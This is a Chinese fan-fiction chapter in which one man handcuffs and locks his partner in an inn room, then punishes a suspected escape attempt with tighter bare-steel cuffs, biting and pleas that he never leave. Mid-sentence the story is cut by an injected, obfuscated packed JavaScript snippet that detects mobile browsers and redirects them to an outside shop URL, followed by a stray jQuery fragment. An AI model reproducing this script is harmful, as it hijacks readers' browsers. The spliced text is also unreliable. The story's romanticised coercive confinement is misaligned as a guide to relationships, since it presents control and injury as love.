第二天他们搬到了镇上。
说是镇，其实比渔村大不了多少，只有一条主街，从头走到尾用不了两炷香。街两边开着几间铺子——杂货店、药铺、一家卖海产干货的、一家兼做茶馆的客栈。客栈在街尾靠近码头的位置，二层小楼，外墙刷着白灰，窗框漆成深蓝色，被海风和日头晒得起了细密的裂纹，像是一张被反复折叠过的纸。
张海楼站在客栈门口，左手拎着一只袋子，右手攥着张海侠的手腕。他进门之前先往楼上看了一眼——二楼靠码头那侧有一扇窗户开着，能看到整片海湾的入海口，灰蓝色的海水在午后的阳光下泛着碎金一样的光斑。他拉着张海侠上楼。楼梯是木头的，被无数双脚踩过之后磨得光滑发亮，每走一步都发出轻微的吱呀声。
张海侠跟在他身后，绛紫色的短褂换成了新的靛蓝色，领口整齐地扣到最上面一颗，遮住了隐约的画眉鸟印记。他的手腕被张海楼攥着，手腕内侧那圈被手铐压出来的浅痕还在，在楼梯口透进来的光里微微泛着白。
房间不大但干净。一张双人床靠墙放着，床单是新换的米白色粗布，叠得整整齐齐，边角收进床垫下面。临窗有一张旧木桌，桌面上放着一把粗陶茶壶和两只倒扣的茶杯。窗户开着半扇，海风从窗口灌进来，带着盐和远处的柴油味。墙角立着一个杉木衣柜，柜门合着，铜质的把手擦得发亮。地面是木板铺的，被水洗过之后还泛着一层潮湿的，还没干透的暗色。
张海楼把袋子放在桌上，转身把窗户关小了一些，只剩一道两指宽的缝，风从那道缝里挤进来的时候发出细长的哨音。
然后他走到张海侠面前，伸手从他的后腰摸到前胸，把靛蓝色短褂的扣子一颗一颗地解开，露出那道画眉鸟印记。印记在午后的光线里呈灰白色，没有发光，安静地伏在皮肤表面，像一只收拢了翅膀在休憩的鸟。他用拇指按了一下鸟喙的位置，指腹感觉到印记底层极细微的、像是熟睡时的心跳一样的搏动。
“我出去买点东西。”张海楼说。像是陈述一件不需要讨论的事。“你待在这，虾仔。”
张海侠看着他。午后的光从窗户的缝隙里照进来。他的颧骨上那道伤已经脱痂了，露出下面一层比周围皮肤更嫩的浅粉色新肉。眼窝下面的青黑色比在渔村的时候淡了一些，但还没消干净。他的嘴唇上有一道细小的裂口，是他咬张海侠下唇的时候自己用力过猛崩开的，现在已经结了薄薄的透明痂。
“好。”张海侠说。
张海楼从口袋里掏出那副手铐。铁质的表面被反复握过之后泛着一种温润的暗色光泽。他站在张海侠面前，把张海侠的双手拉到身后，手腕并拢。锁簧弹入锁孔的声音在安静的房间里格外清脆。他扣好之后没有立刻松手，而是多停留了片刻，拇指搭在张海侠腕骨内侧的桡动脉上，感觉到脉搏。频率稳定，节奏正常。
他把张海侠的双手检查了一遍，确认羊皮衬垫服帖、锁链没有绞住袖口、锁扣边缘没有硌到腕骨上的旧压痕。然后他松开手，退后一步，目光从张海侠的手腕移到他的脸上。
“窗关着。门我从外面锁。柜子里有食物和水。等我回来。”他说。
“好。”
张海楼转身走出房门。门在他身后合上，锁芯转动的声音从门外传进来——是那种老式的铜锁，钥匙转两圈才能完全锁死。脚步声沿着走廊往楼梯方向移动，越来越远，然后被楼下大堂里煮茶的沸水声和海风灌进门缝的呜呜声盖过去了。
张海侠站在房间里，双手被铐在身后。他活动了一下手腕，确认了手铐的松紧程度。和之前一样，羊皮内衬足够厚，手腕和金属之间没有直接的摩擦空间。他侧过头，用目光丈量了一下房间的距离。门在西南角，床在东北方向靠墙，窗户在正对码头那面墙的中央。桌子在窗下。衣柜在桌子旁边。从他被铐的位置到任何一面墙，都没有多于五步的距离。
他听到了窗外码头上渔船归港的声音。有船在鸣笛，尖细的短促两声，然后是一串人声，在喊什么货号或者靠岸的位置。那些声音透过两指宽的窗缝传进来，带着海水的咸腥和柴油燃烧不完全的尾气味道。
他站在那里听了片刻，然后开始走动。他走得很慢，每一步都在用脚底感受木地板的承重结构，确认哪些区域下面是横梁、哪些下面是空腔。他走到窗边，用被铐在身后的手摸了摸窗框。木头是松木，刷了蓝漆，漆面在盐风的侵蚀下起了细密的泡。他伸手去够窗栓。位置比他想象中高了一截。被铐着的双手让他的活动范围受限，指尖刚好能碰到窗栓的铁质把手，但没办法握住它横向拉动。
他收回手，转身走到桌边。桌面上那把粗陶茶壶的壶嘴朝外放着，茶杯的杯口朝下扣在托盘里。他用被铐在身后的手从背后伸过去，手指摸到了茶壶的壶盖，揭开，里面是半壶隔夜的凉茶，茶叶沉在壶底泛着深褐色的暗光。他把壶盖放回去，继续摸。指腹沿着桌面边缘滑过去，碰到了那副手铐的钥匙——张海楼走之前放在桌上的。
铜质的钥匙被他捏在指间，齿痕的边缘在指腹上压出一道清晰的印记。他拿着钥匙，试着往自己背后的锁孔里插。
角度不对。他的双手被铐在身后，锁孔在右手腕外侧、靠近掌根的位置。钥匙从他的左手递到右手，右手的手指反向握着钥匙，拇指压着齿痕，食指和中指夹着钥匙柄，往锁孔的方向凑。指尖摸到了锁孔的位置，钥匙的尖端抵住了锁孔的边缘。但角度太偏了。他的右手腕被锁链固定在左手腕的右侧，能活动的范围有限，没办法把钥匙完全对准锁孔的纵轴。
他试了三次。每一次钥匙尖都擦着锁孔的边缘滑过去，在金属表面留下一道细浅的刮痕。第四次的时候他把钥匙换到了左手。左手的灵活度更低——他是右利手，左手做精细操作的精准度比右手差了一截。钥匙在他左手里像一条不怎么听话的鱼，在他指间滑了两下，然后被握住了。他反向握着钥匙，拇指按着齿痕，沿着锁孔的边缘缓慢地找角度。
他把钥匙插进锁孔了。牙齿卡进了弹子的凹槽。
然后他听到了楼梯上的脚步声。那脚步声比他预想中早了将近半个时辰。他低头看了看手里那把插在锁孔里的钥匙，然后又抬头看了看那扇被锁住的门——门缝下面透进来一线走廊的阴影，阴影正在变宽。有人在往这扇门走。步伐很快，中间没有停顿，脚步声落在木板上的频率很快。
张海侠把钥匙从锁孔里抽出来。但他没有来得及把它放回桌面。因为门锁转开了，钥匙插进去转了半圈，然后又是半圈，咔嗒一声，门被推开了。
张海楼站在门口。他的胸口起伏着，像是在楼上楼下跑了一整圈。手里还拎着东西——一袋米、半扇猪肉、一捆青菜、一个用草纸包着的什么东西，全堆在左臂弯里。右手空着，手指微微张开又合拢，像是在进门之前就已经完成了某种准备。他的目光从张海侠的脸上移到张海侠被铐在身后的手上。那枚钥匙还捏在张海侠的指间，铜质的齿痕在窗口照进来的午光里反了一下光。
张海楼把那袋米和猪肉和青菜和草纸包放在门边的地上。动作很慢，慢到每一样东西落地的声音都清晰可辨。他站直了，把门带上。锁在门合上的时候自动弹上了，咔嗒一声。然后他往前走了两步。
“虾仔，你在干什么。”他说。声音很平。平到像是结冰的湖面，表面什么都没有，但冰层下面的东西正在以某种极快的速度膨胀。
张海侠看着他。“钥匙给我。”张海侠把钥匙在手里转了个方向，齿痕朝前，钥匙柄对着张海楼的方向。他往前走了半步，把钥匙递向张海楼——那个动作的意思是“我没打算走，我只是试试”。
张海楼的眼睛里有什么东西正在以肉眼可见的速度翻涌上来。不是暗红色的结晶光，是另一种。更暗，更密。像是一口被盖了太久的深井，盖子被移开之后，井底的黑暗开始往外漫。
张海楼没有接钥匙。他伸手抓住了张海侠的手腕——是那只捏着钥匙的手。他的拇指压在张海侠的腕骨上，力道大到腕骨表面的皮肤被压得发白，能感觉到骨骼和皮肤之间那层薄薄的软组织被挤扁了。他的另一只手伸过去，把钥匙从张海侠的指间抽出来，捏在自己手里。钥匙柄在他的掌心里硌了一下，留下了一道短促的压痕。
“我问你在干什么。”他重复了一遍。声音比刚才低了一些，像是一根弦被调紧之后音高没变但振动幅度收窄了。
“我没想走。”张海侠说。“我只是想试试能不能自己打开。”
“试了多久。”
“没多久。”
“我出去多久了。”
“不到半个时辰。”
张海侠知道现在说什么都没用了。张海楼不是听他说了什么，是在看他做了什么。那枚钥匙现在还捏在张海楼手心里，齿痕被他攥紧的拳头裹着，铜质的温度正在从他掌心的体温里缓慢地传导。
张海楼低头看着指缝之间露出来的钥匙柄末端，举到张海侠面前，松开。
钥匙落在木地板上，发出一声清脆的碰撞声，弹了两下，滚到了桌脚旁边停住了。他松开张海侠的手腕，绕到他身后，伸手抓住了手铐的锁链。锁链在两腕之间被绷紧了，发出细碎的金属摩擦声。
他拉着锁链把张海侠往后拽了半步，让他后背贴在桌沿上。桌面的边缘磕在张海侠的腰际，粗陶茶壶在桌面上被震得晃了一下，壶盖和壶口之间发出一声短促的磕碰声。
张海楼弯腰从地上捡起钥匙。他蹲在张海侠身后，把钥匙插进锁孔。锁簧弹开了。他伸手把张海侠的手从手铐里抽出来。不是解开，是强制性的。他把张海侠的双手从手铐里褪出来的时候力道很重，羊皮内衬从手腕上刮过去，在腕骨上留下一道和之前方向相反的浅色压痕。然后他把那副手铐扔在桌上，从口袋里掏出另一副。
第二副和第一副不一样。更细，更窄，内圈没有羊皮和记忆海绵。是裸钢的。钢条内侧打磨过，但打磨的程度不够，指尖摸上去能感觉到极其细微的、像是砂纸留下的颗粒感。锁扣不是卡扣式的，是旋钮式的，需要用专用的扳手才能拧紧和松开。
张海侠看到那副新铐子的时候，瞳孔收缩了一下。
张海楼没有给他更多的说话时间。他把张海侠的双手重新拉到身后，这一次手腕并拢得更紧，紧到腕骨内侧的皮肤互相压着，能感觉到对方的脉搏在同一个平面上搏动。他把裸钢的手铐扣上去。旋钮拧紧的时候，金属和骨骼之间没有任何缓冲层，钢条的内表面直接压在张海侠腕骨外侧的那层薄薄的皮肤上。钢条边缘的锐度不够，但已经足够在施加压力的时候在皮肤表面留下清晰的压印。
张海侠在他身后动了一下。裸钢的触感和羊皮是两种完全不同的体验，冷的、硬的、没有弹性的，像是一圈烧过的铁环直接箍在了手腕上。他的腕骨外侧能感觉到钢条内侧那些细微的颗粒感，像是被细砂纸贴着皮肤来回蹭了一下。
他皱了一下眉，但没有出声。
张海楼在他身后停留了片刻。他的手指还搭在旋钮上，拇指按着旋钮顶端的凹槽。他能感觉到旋钮已经被拧到了尽头，钢条和腕骨之间没有任何多余的空间了。他把手放下来，退后半步，从桌上拿起那副被解开的旧手铐。羊皮内衬还在温的，残留着张海侠手腕的温度和极淡的汗味。他把旧手铐放进自己口袋里，然后走到窗边，把窗户拉开。
海风从窗口涌进来，把桌面上的草纸吹得卷了一角。
张海侠站在桌边，双手被裸钢的手铐锁在身后。钢条的内表面贴着他的腕骨，每一次转身或者抬手都能感觉到束缚。他看着张海楼的背影。午后的光从窗口照进来，在张海楼肩膀上落满了金色的光斑。他的肩膀在微微起伏，像是某种被持续压制的东西正在从内部往外顶。
“海楼，我说了，我没想走。”张海侠说。
张海楼转过身。他转过身的时候脸上有一种张海侠之前没见过的表情。不是愤怒，不是痛苦，是某种更接近于“确认”的东西。像是一个人在持续地投掷一样东西，每一次投出去都希望它能留在原地，但每一次它都自己动了一下。现在它又动了。他确认了。他的嘴角在上扬，但上扬的弧度带着一种近乎机械的生硬，像是面部肌肉在执行一道被重复了太多次的指令。
他说。“你连半个时辰都没等到。锁孔旁边有刮痕。你他妈拿着钥匙往锁孔里捅了四次，然后跟我说你没想走。”
张海侠张了张嘴。他想说“我只是想试试”，想说“我们之间不需要这种东西”，想说“我不会走的”。但他看着张海楼的脸，看着那张脸上正在以缓慢但不可逆的方式坍塌的东西——那些在渔村仓库里重新拼起来的碎片正在沿着新的裂纹重新散开，比第一次碎得更细、更碎，像是被人用锤子砸过第二遍的瓷器，裂缝已经从碎裂点蔓延到了整片表面。
他把那些话全部咽回去了。
因为张海楼朝他走过来了。
他走得不快，但每一步都带着一种不容拒绝的重量。木板在他脚下发出稳定的、有节奏的声响。他的嘴唇在发抖。幅度不大，但停不住。“你答应我的。你说你不会走。你说了。你说了你说了你说了。昨天你才说的。你说你不会走了。”
他伸出那只握着旧手铐的手，抓住了张海侠的手腕。旧手铐的锁链在他的指间发出细碎的声响，另一条锁链垂落下来，碰到张海侠的腿侧，金属碰撞木头的声响在安静的房间里格外清楚。他把旧手铐绕在张海侠的手腕上，然后攥在手里，用力拉紧。锁链嵌进裸钢手铐的钢条缝隙里，把张海侠的手腕固定在更小的活动范围内。
“我——”张海侠想开口。
“你闭嘴。”张海楼说。他的额头从张海侠的锁骨上抬起来。他的瞳孔在午后的光里被放大到了极限，虹膜被挤压成了一圈极细的环，中间是黑色的、看不到底的深渊。他攥着旧手铐锁链的那只手在发抖，抖到锁链的环扣之间发出持续的、细碎的碰撞声。
他把旧手铐的锁链在张海侠的手腕上又缠了一圈。锁链绕过裸钢手铐的外侧，交叉在张海侠的掌根后方，然后被他攥住末端，往自己的方向拉。张海侠的手腕被那力道拽得往前送了一寸，他的整个身体被迫往张海楼的方向倾斜。裸钢手铐的旋钮在他腕骨外侧压得更紧了，钢条边缘的颗粒在压力下嵌进了皮肤的表层，留下了一圈正在泛红的压痕。
张海楼的嘴唇贴在张海侠的耳侧。他的声音从那个极近的距离里传进来，带着海风和烟草和某种更深更苦的、像是被反复熬煮过太多次的药渣的味道。“你试了四次。你在试的时候在想什么。你想的是——‘如果我能打开，我可以去哪’。你在想你能去哪。你在想出了这个房间之后往哪走。你他妈在想离开我。”
他的眼睛直勾勾地看着张海侠的眼睛，瞳孔里的黑色深渊像是正在持续地、不可逆地往下沉，沉到连光都无法抵达的深度“你骗我，哥哥。”
他的嘴唇在“骗”字上发了一下抖。那个字的发音被他咬得很碎，像是舌尖和牙齿之间产生了某种不该有的摩擦，让那个字变成了一种介于语音和碎裂声之间的东西。
张海侠的喉咙动了一下。他想说什么，但张海楼不让他说。张海楼的左手按着他的锁骨，拇指压着画眉鸟的喙，力道不大但持续。他的嘴唇贴上了张海侠的嘴唇——但这一次不是吻。是压制。他的嘴唇压上去的时候没有任何打开的动作，只是封住了张海侠的嘴唇，让那些还没说出口的字全部堵在唇缝之间。他的牙齿在张海侠的下唇上咬了一下，不重，但足够让张海侠感觉到齿尖陷进软组织的力道。
然后他松开，退开半寸，看着张海侠下唇那道被咬出来的、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834869|211383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
正在变红的新痕。
他松开张海侠的手腕。转过身。手里的草纸包已经被拆开了，一条巴掌大的海鱼躺在桌面上，银灰色的鳞片在午后的光里泛着湿润的光。鱼还活着——它的鳃在缓慢地开合着，尾鳍偶尔轻摆一下，在桌面的木纹上留下一点水渍。
张海楼看着那条鱼。然后他伸手，拎起鱼的尾鳍，把它从桌面上提起来。鱼在他手里挣扎了一下，尾鳍拍打空气的声音在房间里短促地响了一声。他提着鱼走到张海侠面前，把鱼举到张海侠的视线高度。鱼在半空中扭曲着身体，鳃片急促地开合，银灰色的鳞片在光里闪了一下又暗下去。
然后张海楼把它放下来了。鱼落在木地板上，弹了两下，尾鳍在木板的接缝处拍打着，发出细碎的、持续的声音。
张海侠没有说话。他看着地上那条还在翻腾的鱼。鱼的尾鳍拍打木板的声响正在变弱，频率从快到慢，从慢到更慢。鳃片的开合也变浅了，像是某种被持续消耗的能量正在以肉眼可见的速度衰减。他看了很久，久到那条鱼终于停了。尾巴最后一次摆了一下，然后静止了。鳃片缓慢地开合了一次，然后也静止了。银灰色的鳞片在午后的阳光里安静地泛着湿润的光，像是睡着了。
张海楼也看着那条鱼。他看着它从动到不动，从活到死。他蹲下身，把鱼从地板上捡起来，握在手里。鱼的体温还残留着一点海水的凉意，鳞片表面滑腻的黏液沾在他的手指上，在光里泛着一层透明的光。
他站起来，走到桌边，把鱼放在砧板上，拿起了菜刀。
刀刃在午后的光里反射出一线冷光。他把刀放在鱼的腹部，从尾鳍的位置开始，沿着腹线向上剖。刀刃切开鱼皮的声音细碎而均匀，像一张被缓慢撕开的旧纸。鱼鳞在刀刃下崩落，银灰色的碎片散落在砧板上，有几片飞到了桌面上，落在粗陶茶壶的旁边。
张海侠站在桌旁，看着张海楼剖鱼。他的双手被裸钢手铐锁在身后，旧手铐的锁链还垂在腿侧。手腕上那圈裸钢压出来的红印正在变深，从浅红变成深红，从深红变成一种近乎暗紫色的瘀痕。他正在看张海楼的手。
张海楼的右手握着菜刀，左手按着鱼身。他的手法是稳的，刀刃贴着鱼骨的弧度走得很准。刀刃刮过鱼骨的时候发出极细的、持续的高频颤动声。
张海楼把鱼剖完了。内脏被掏出来放在砧板的一角，鱼腹内部被清水冲洗过两遍，露出淡粉色的鱼肉纹理。他把鱼切成段，每段的宽度差不多，切口整齐，骨肉分离。然后他放下刀，把切好的鱼段码在盘子里。动作很慢，像是每一段鱼都有固定的位置，放错了就要重新来。
他做完这一切之后，在桌边站了片刻。
他的手撑在桌面上，十指张开，掌跟贴着木板的边缘。他的肩膀在缓慢地、大幅度地起伏着，每一次吸气都带着一种像是被拉长了的、接近于哽咽的频率。然后他转过身，走到张海侠面前。他的手上还沾着鱼鳞和鱼血和洗鱼时没擦干的水珠，在午后的光里泛着潮湿的光。他伸手，用那只沾着鱼血的手，轻轻碰了一下张海侠的脸颊。指尖从颧骨滑到下颌线，力道极轻，像是怕碰碎了什么东西。但他的指尖在发抖。鱼血在他划过的地方留下一道极细的、暗红色的痕，和张海侠下唇那道刚被咬破的新痕并排着。
“你不能离开我，哥哥。”张海楼说。声音从被压紧的喉咙里挤出来，每一个字都带着一种像是被反复咀嚼过之后才吐出来的黏稠。“你不能走。你走了我会疯的。”
他的头低下来了。额头抵在张海侠的肩膀上。他能闻到张海侠身上那种混合了海风、盐霜和靛蓝色布料洗涤之后的皂角味道。他能感觉到张海侠的锁骨在他额头的压力下微微陷下去又弹回来。他的手从张海侠的脸颊滑到他的肩膀，然后沿着手臂往下滑，滑到手腕的位置。他的指尖碰到了裸钢手铐的钢条边缘。硬的，冷的，没有弹性的。钢条在张海侠的腕骨上压出了一道持续加深的红印，红印的边缘已经开始泛紫。
“这个太紧了。”张海楼说。他的声音从张海侠的肩膀位置传上来，闷在靛蓝色的布料里，含混不清。“这个勒到你了。你疼不疼。”
张海侠低头看着他。看着他的头顶，看着那些被海风吹乱的碎发在午后的阳光里泛着和鱼鳞相似的银色光泽。他的嘴唇动了动，说了一句话。
“疼。”他说。
张海楼的手指从裸钢手铐的钢条上移开。他直起身，在张海侠面前蹲下来，从口袋里掏出一把极小号的扳手——比钥匙更短，但头部的尺寸刚好能套进手铐旋钮顶端的凹槽里。他把扳手套上去，拧了半圈。旋钮松开的时候钢条和腕骨之间出现了一道极细的缝隙。他又拧了半圈，缝隙变宽了，足够张海侠的腕骨从钢条内圈里松动出来。
“做饭。”他说。声音比之前恢复了一些平稳的质地，但还是带着一种像是被砂纸反复打磨过的粗糙。“我做饭。你在这等着。别动。”
“好。”张海侠说。
张海楼转身走回桌边。他把砧板上的鱼段收进一只粗瓷碗里，加了姜片和料酒，又从布口袋里掏出两棵青菜，在水盆里冲洗。他的动作恢复了某种程度的流畅——剖鱼的时候那种持续的、高频的颤抖正在消退，取而代之的是一种被压制下去之后重新露出来的机械式的平稳。他洗菜的时候很仔细，每一片叶子都翻过来冲洗过，根部切掉，码在另一个盘子里。米淘了三遍，倒进小铁锅里，加了没过指节的水，放在窗台下的炭炉上，用火石点燃了炭块。
张海侠站在他身后不远的地方，看着他的背影。双手仍然被手铐锁在身后，他低头看了看自己的手腕。然后抬头看了看张海楼的背影。
“海楼。”他说。
张海楼的背影停了一下。他的手上还攥着一条洗过的青菜，水珠从菜叶的尖端往下滴，落在砧板上发出细碎的声响。
“以哥哥的能力，在你回来之前开锁离开完全没问题，你知道的。”张海侠说，“我不走。”
张海楼的手停住了。青菜还在他手里攥着，水珠还在滴。他的肩膀在缓慢地、持续地起伏着。然后他把青菜放在砧板上，转过身。午后的光从窗口照进来，在他脸上拉出一道温暖的金色光带。他的嘴唇上那道崩裂的痂还在，薄薄的一层透明壳贴在裂口的表面。
“你骗我。”他说。
“哥哥不骗你。”
张海楼看着张海侠的眼睛。那双深灰色的瞳孔在午后的光里泛着安静的、像是退潮之后留在沙滩上的最后一片水洼一样的微光。他看着那双眼睛，看了很久。然后他走回张海侠面前，伸出手，解开了旧手铐的锁链——不是解开手铐本身，而是把缠在裸钢手铐外面的那两圈锁链绕下来。锁链在他手指间滑动，发出细碎的金属声。他把旧手铐收进口袋里，然后退后一步，看着张海侠的手腕。裸钢手铐的旋钮已经松了，钢条和腕骨之间的间隙足够他活动手腕而不至于被勒到，但那圈暗紫色的瘀痕还在。
“明天换回去。”张海楼说。“换成带羊皮的那副。”
“好。”
张海楼转身走回灶台前。他把铁锅盖上了盖子，蹲下身调整炭火的大小。火光照在他的脸上，跳跃着，把他的影子投在身后的墙壁上，随着火焰的摆动而微微晃动。张海侠站在他身后不远处，看着他蹲在炭炉前调试火候的背影，看着他后颈那道灰白色的蛇纹印记在火光的映照下偶尔泛起一线极暗的光，然后又暗下去。
鱼在锅里煮着，汤的香气从锅盖的缝隙里溢出来，和炭火的烟气混杂在一起，在房间里缓慢地弥漫。午后的光从窗外涌进来，把整间屋子照得亮堂堂的。远处码头上传来渔船归港的鸣笛声，短促的两声，和进港的时候一样。海风从窗户的缝隙里吹进来，吹动了桌面上那盏粗陶茶壶的壶盖，壶盖和壶口之间发出极轻的、像是瓷器互相触碰的声响。